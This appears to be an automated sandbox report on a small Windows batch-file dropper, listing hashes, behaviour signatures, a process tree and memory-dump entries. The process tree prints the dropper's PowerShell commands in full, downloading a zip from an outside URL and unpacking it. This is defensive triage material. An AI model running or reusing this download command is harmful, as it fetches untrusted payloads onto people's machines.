3113000f470106b98b5a3208266c79213a33567ca7841dd1cfe8ab84847c4eb8

Analysis

max time kernel
1566s
max time network
1570s
platform
windows7_x64
resource
win7-20231020-en
resource tags

arch:x64arch:x86image:win7-20231020-enlocale:en-usos:windows7-x64system
submitted
06/11/2023, 17:25

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General

Target

tesy - Copy (4).bat
Size

706B
MD5

035f17438f6146d5ac7285b4adfeb370
SHA1

ef83c877367e96073e2b9b841d9c03ece6b1df7e
SHA256

02261a07ff83d906a835ac5229b25595239717e0091f2462804d0a31859bbdc0
SHA512

49455c7edd51537ba92e2db0941f571cd6ad89252702a19cf5910b390b182c16fc970ca62c26582b293ac5fc096e84538c5634472ab6e31bbd29242e8bb816cf

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://cdn.nest.rip/uploads/fe8c3030-34d2-4153-bdb3-f0ef0fdd51b2.zip

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
3	2056	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2056	powershell.exe
2848	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2056	powershell.exe
Token: SeDebugPrivilege	2848	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1716 wrote to memory of 2056	1716	cmd.exe	29
PID 1716 wrote to memory of 2056	1716	cmd.exe	29
PID 1716 wrote to memory of 2056	1716	cmd.exe	29
PID 1716 wrote to memory of 2848	1716	cmd.exe	30
PID 1716 wrote to memory of 2848	1716	cmd.exe	30
PID 1716 wrote to memory of 2848	1716	cmd.exe	30

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (4).bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1716
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://cdn.nest.rip/uploads/fe8c3030-34d2-4153-bdb3-f0ef0fdd51b2.zip', 'test1.zip')"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2056
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "Expand-Archive -Path 'test1.zip' -DestinationPath '.'"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2848

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
0ebe132d12266b659137c98b2206c3da

SHA1
a9f3bc6128688dc06509e60081dbabab32ee6ddd

SHA256
fe70995d46cc9cce9b71b256d67eef081d6abee835c4071379a775b381d69dde

SHA512
f5f50a31bb6ff92e5523c92ad8c74b5401345994415f65c0bf8097846a3212955e05adb385c897aa05c2a0ca0f5eedabf07f0408bd17890694e709b5157ce7c8

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\CAEIHZWS5SJK7KGZD9V6.temp

Filesize
7KB

MD5
0ebe132d12266b659137c98b2206c3da

SHA1
a9f3bc6128688dc06509e60081dbabab32ee6ddd

SHA256
fe70995d46cc9cce9b71b256d67eef081d6abee835c4071379a775b381d69dde

SHA512
f5f50a31bb6ff92e5523c92ad8c74b5401345994415f65c0bf8097846a3212955e05adb385c897aa05c2a0ca0f5eedabf07f0408bd17890694e709b5157ce7c8

Download Submit
memory/2056-8-0x0000000002A20000-0x0000000002AA0000-memory.dmp

Filesize
512KB

Download
memory/2056-7-0x0000000002A20000-0x0000000002AA0000-memory.dmp

Filesize
512KB

Download
memory/2056-9-0x0000000002A20000-0x0000000002AA0000-memory.dmp

Filesize
512KB

Download
memory/2056-4-0x000000001B440000-0x000000001B722000-memory.dmp

Filesize
2.9MB

Download
memory/2056-11-0x0000000002A20000-0x0000000002AA0000-memory.dmp

Filesize
512KB

Download
memory/2056-10-0x000007FEF5B50000-0x000007FEF64ED000-memory.dmp

Filesize
9.6MB

Download
memory/2056-13-0x000007FEF5B50000-0x000007FEF64ED000-memory.dmp

Filesize
9.6MB

Download
memory/2056-6-0x000007FEF5B50000-0x000007FEF64ED000-memory.dmp

Filesize
9.6MB

Download
memory/2056-5-0x0000000001DE0000-0x0000000001DE8000-memory.dmp

Filesize
32KB

Download
memory/2848-19-0x000000001B390000-0x000000001B672000-memory.dmp

Filesize
2.9MB

Download
memory/2848-20-0x000007FEF51B0000-0x000007FEF5B4D000-memory.dmp

Filesize
9.6MB

Download
memory/2848-21-0x0000000002310000-0x0000000002318000-memory.dmp

Filesize
32KB

Download
memory/2848-22-0x000007FEF51B0000-0x000007FEF5B4D000-memory.dmp

Filesize
9.6MB

Download
memory/2848-23-0x0000000002910000-0x0000000002990000-memory.dmp

Filesize
512KB

Download
memory/2848-24-0x0000000002910000-0x0000000002990000-memory.dmp

Filesize
512KB

Download
memory/2848-25-0x0000000002910000-0x0000000002990000-memory.dmp

Filesize
512KB

Download
memory/2848-26-0x0000000002910000-0x0000000002990000-memory.dmp

Filesize
512KB

Download
memory/2848-27-0x000007FEF51B0000-0x000007FEF5B4D000-memory.dmp

Filesize
9.6MB

Download